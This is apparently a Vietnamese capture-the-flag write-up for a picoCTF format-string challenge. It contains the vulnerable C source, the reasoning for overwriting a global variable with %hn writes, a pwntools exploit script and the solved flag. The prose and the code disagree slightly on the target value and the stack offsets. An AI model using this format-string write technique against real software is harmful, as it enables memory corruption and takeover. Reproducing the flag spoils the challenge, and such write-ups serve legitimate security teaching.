**Writeup**
Source chall:
```C!
#include <stdio.h>
int sus = 0x21737573;
int main() {
char buf[1024];
char flag[64];
printf("You don't have what it takes. Only a true wizard could change my suspicions. What do you have to say?\n");
fflush(stdout);
scanf("%1024s", buf);
printf("Here's your input: ");
printf(buf);
printf("\n");
fflush(stdout);
if (sus == 0x67616c66) {
printf("I have NO clue how you did that, you must be a wizard. Here you go...\n");
// Read in the flag
FILE *fd = fopen("flag.txt", "r");
fgets(flag, 64, fd);
printf("%s", flag);
fflush(stdout);
}
else {
printf("sus = 0x%x\n", sus);
printf("You can do better!\n");
fflush(stdout);
}
return 0;
}
```
Đọc qua source code ta có thể dễ dàng thấy có bug ``format string`` như tên chall
* Nhiệm vụ của ta là thay đổi biến global ``sus`` thành giá trị hex ``0x67626c66`` và chương trình sẽ in ra flag
Checksec để kiểm tra file elf thì thấy `No PIE`, điều này có nghĩa là địa chỉ của biến global ``sus`` sẽ cố định
* 
* Do đó, hướng tiếp cận đơn giản là dùng format ``%n`` để ghi đè giá trị của ``sus``
Bật gdb để tìm địa chỉ của ``sus`` thì được 
Có được địa chỉ của ``sus``, việc của ta bây giờ là ghi đè giá trị ở đó thành ``0x67626c66``
* Tuy nhiên, việc print đủ ``0x67626c66`` kí tự sẽ tốn rất nhiều thời gian và với 1 lần format thì ``%n`` sẽ tăng dần kí tự đã ghi
* => Chia nhỏ ``0x67626c66`` thành các phần nhỏ hơn, sắp xếp thứ tự rồi format để ghi đè tuần tự tiết kiệm thời gian
Ở đây mình thấy với 2 phần ``0x6762`` và ``0x6c66`` kí tự sẽ là đủ nhỏ để in ra trong thời gian ngắn và cũng không khiến việc code trở nên quá phức tạp
* Có lưu ý ở đây đó là hàm ``scanf`` lấy input chỉ có format ``%s``, không có filter, cho nên scanf sẽ read input cho đến khi gặp byte ``0x9`` (tab), ``0xa`` (newline), ``0x20`` (space). Đồng nghĩa với việc vẫn có thể có ``null byte`` trong payload (quan trọng) giúp việc truyền địa chỉ của ``sus`` vào dễ dàng hơn
```C!
scanf("%1024s", buf);
```
* Nếu không cho phép truyền ``null byte`` thì frame để ghi địa chỉ của ``sus`` phải là 1 frame trống để đảm bảo địa chỉ của ``sus`` không bị sai do nội dung đã có trước của frame.
* Vì cho phép nên địa chỉ của ``sus`` sẽ được pad bằng ``null byte`` để tròn 1 frame tránh sai
Hướng giải quyết:
* Sử dụng format ``%hn`` để ghi đè vì đối tượng cần ghi chỉ có 2 byte (Nếu không dùng ``%hn`` thì khi ghi đè ``0x6c66``, nó cũng sẽ khi đè lại ``0x6762`` mà ta ghi trước đó về ``null`` do địa chỉ của ``0x6762`` lớn hơn)
* Sử dụng ``%A$hn`` với A là số lần phải ``%hn`` để lần ``%hn`` tiếp theo trỏ vào địa chỉ của ``sus`` trong stack mà ta đã input
* Xác định ``%hn`` lần thứ bao nhiêu thì trỏ vào địa chỉ cần ghi đè
* Viết payload và lấy flag
Dưới đây là script mà mình đã dùng để lấy flag:
```python!
from pwn import *
chall = remote("rhea.picoctf.net", 56778)
sus_1 = bytes.fromhex("404062")[::-1] + b'\x00' * 5 #(8 bytes)
sus_2 = bytes.fromhex("404060")[::-1] + b'\x00' * 5 #(8 bytes)
val_1 = int("6761", 16)
val_2 = int("6c66", 16)
payload = b'%' + str(val_1).encode() + b'c%18$hn' + b'%' + str(val_2 - val_1).encode() + b'c%19$hn'
payload += ((8 - len(payload) % 8) % 8) * b'\x00' #(Fit the frame)
payload += sus_1 + sus_2
chall.sendlineafter(b'?\n', payload)
chall.interactive()
```
Trong đó, mình để 2 địa chỉ của ``sus`` ở cuối để dễ debug hơn và mình xác định được ở lần thứ 17 và 18, ``%hn`` sẽ trỏ vào ``sus_1`` và ``sus_2``
Và đây là flag:

* **picoCTF{f0rm47_57r?_f0rm47_m3m_ccb55fce}**